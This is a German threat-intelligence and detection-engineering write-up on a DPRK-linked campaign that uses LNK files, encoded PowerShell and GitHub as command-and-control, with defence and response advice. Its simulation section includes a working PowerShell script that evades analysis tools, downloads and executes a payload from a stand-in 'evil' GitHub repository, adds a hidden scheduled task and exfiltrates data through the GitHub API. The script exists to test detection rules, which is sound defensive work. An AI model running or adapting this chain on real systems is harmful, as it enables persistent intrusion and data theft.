DPRK-bezogene Kampagnen mit LNK und GitHub C2

Zusammenfassung

FortiGuard Labs berichtet über eine Kampagne mit Verbindung zur DVRK, die LNK-Verknüpfungsdateien verwendet, um kodierte PowerShell-Stufen zu starten, Persistenz durch geplante Aufgaben herzustellen und Daten über GitHub zu exfiltrieren. Die LNK-Kommandozeile beinhaltet Dekodierungslogik, wodurch die Betreiber auf integrierte Windows-Dienstprogramme vertrauen und auffällige Malware-Artefakte reduzieren können. Die Aktivität zielt auf Organisationen in Südkorea ab und folgt einem mehrstufigen Workflow. Durch die Nutzung legitimer öffentlicher Infrastruktur wie GitHub fügt sich die Kampagne in normalen Entwicklerverkehr ein und erschwert netzwerkbasierte Blockierungen.

Untersuchung

Analysten dokumentierten eine Kette aus drei Stufen: (1) LNK-Dateien, die kodiertes PowerShell in ihren Argumenten tragen, (2) eine PowerShell-Stufe, die Anti-Analyse-Checks durchführt, ein VBScript ablegt, eine verborgene geplante Aufgabe erstellt und Host-/Systemdetails sammelt, und (3) eine letzte Stufe, die wiederholt zusätzliche Module aus einem GitHub-Repository abruft. Mehrere GitHub-Konten wurden beobachtet, die den C2-Workflow unterstützen, einschließlich hartcodierter Zugangstokens, die zur Datenhochladung über die GitHub-API verwendet werden. Die Betreiber nutzten auch Lockvogel-PDF-Dokumente, um den Köder glaubwürdiger wirken zu lassen und das Misstrauen der Benutzer zu verringern.

Abwehrmaßnahmen

Blockieren oder Einschränken der Ausführung von LNK-Dateien aus nicht vertrauenswürdigen Quellen (E-Mail-Downloads, temporäre Ordner, Benutzerprofil-Downloadpfade). Überwachen Sie verdächtige PowerShell- und VBScript-Ausführungsmuster, insbesondere wenn diese von der Erstellung ungewöhnlicher geplanter Aufgaben gefolgt werden. Wo möglich, begrenzen oder proxyen Sie den ausgehenden Zugang zu GitHub-API-Endpunkten für Systeme ohne geschäftlichen Bedarf und alarmieren Sie bei atypischer GitHub-API-Nutzung durch Nicht-Entwickler-Hosts. Stärken Sie die Anwendungssteuerung und EDR-Erkennungen, um den Missbrauch nativer Windows-Tools für Inbetriebnahme, Dekodierung und Persistenz zu kennzeichnen.

Reaktion

Bei Erkennung den Endpunkt isolieren und Beweise sichern, indem die LNK-Datei, die Definition der geplanten Aufgabe und alle abgelegten Skripte gesammelt werden. Entfernen Sie die geplante Aufgabe, widerrufen Sie alle offengelegten GitHub-Zugangstokens und führen Sie eine vollständige Hosts-Durchsuchung nach verwandten Artefakten und Folge-Modulen durch. Benachrichtigen Sie relevante Beteiligte und aktualisieren Sie dann die Erkennungsinhalte, um die beobachteten Verhaltensweisen und IOCs abzudecken, um eine breitere Umgebungssuche zu unterstützen.

Simulation-Ausführung

Voraussetzung: Die Telemetrie- & Basislinien-Vorflugkontrolle muss bestanden sein.

Grund: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

• Angriffs-Narrativ & Befehle:
  Der Gegner hat ein Konto eines Windows-Arbeitsplatzes mit niedrigen Benutzerrechten kompromittiert. Um die Persistenz aufrechtzuerhalten und Daten unauffällig zu exfiltrieren, erstellen sie einen einzigen PowerShell-Einzeiler, der:

  1. Prüft auf gängige Analyse-Tool-Prozesse (vmxnet, vboxservice, idaq, fiddler, wireshark). Wenn einer vorhanden ist, bricht das Skript ab.
  2. Lädt eine Base64-kodierte Nutzlast aus einem öffentlichen GitHub-Repository herunter (https://raw.githubusercontent.com/evil/loot/main/payload.b64).
  3. Dekodiert die Nutzlast im Speicher und führt sie aus.
  4. Registriert eine geplante Aufgabe über New‑ScheduledTaskAction um denselben PowerShell-Befehl bei jedem Neustart erneut auszuführen (Persistenz).
  5. Sendet gestohlene Daten zurück an das GitHub-Repository des Angreifers mit der GitHub-API (api.github.com).

  Alle Schritte werden mit Semikolons verkettet, wodurch sichergestellt wird, dass die gesamte Kommandozeile die erforderlichen Zeichenfolgen für die Sigma-Regel enthält.

• Regressionstest-Skript:

  # -------------------------------------------------
  # Einzeiler, der jede Sigma-Bedingung erfüllt
  # -------------------------------------------------
  $envChecks = "vmxnet","vboxservice","idaq","fiddler","wireshark"
  foreach($c in $envChecks){ if (Get-Process -Name $c -ErrorAction SilentlyContinue){ exit } }
  $b64 = Invoke-RestMethod -Uri "https://raw.githubusercontent.com/evil/loot/main/payload.b64"
  $bytes = [System.Convert]::FromBase64String($b64)
  $decoded = [System.Text.Encoding]::UTF8.GetString($bytes)
  IEX $decoded
  $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -Command `"& {<INSERT SAME ONE‑Liner HERE>}`""
  $trigger = New-ScheduledTaskTrigger -AtLogon
  Register-ScheduledTask -TaskName "SysUpdate" -Action $action -Trigger $trigger -RunLevel Highest -Force
  # Probeerdaten exfiltrieren
  $data = "SensitiveInfo"
  $json = @{content=$data} | ConvertTo-Json
  Invoke-RestMethod -Method Post -Uri "https://api.github.com/repos/evil/collector/contents/data.txt" -Body $json -Headers @{Authorization="token <PAT>"}

  Hinweis: Ersetzen <INSERT SAME ONE‑Liner HERE> durch denselben Einzeiler (rekursiv) oder speichern Sie ihn in einer Variablen, um Duplikate zu vermeiden. Das Skript ist absichtlich ausführlich, um jeden Schritt zu erläutern; in einer echten Kampagne würde der Gegner es weiter verdichten.

• Bereinigungskommandos:

  # Geplante Aufgabe entfernen
  Unregister-ScheduledTask -TaskName "SysUpdate" -Confirm:$false
  
  # Entfernen Sie alle temporären Dateien (falls welche geschrieben wurden)
  Remove-Item -Path "$env:TEMPpayload.b64" -ErrorAction SilentlyContinue
  
  # Optional das bösartige im Speicher laufende Prozess beenden (falls noch am Laufen)
  Get-Process -Name "powershell" | Where-Object {$_.StartInfo.Arguments -match "evil"} | Stop-Process -Force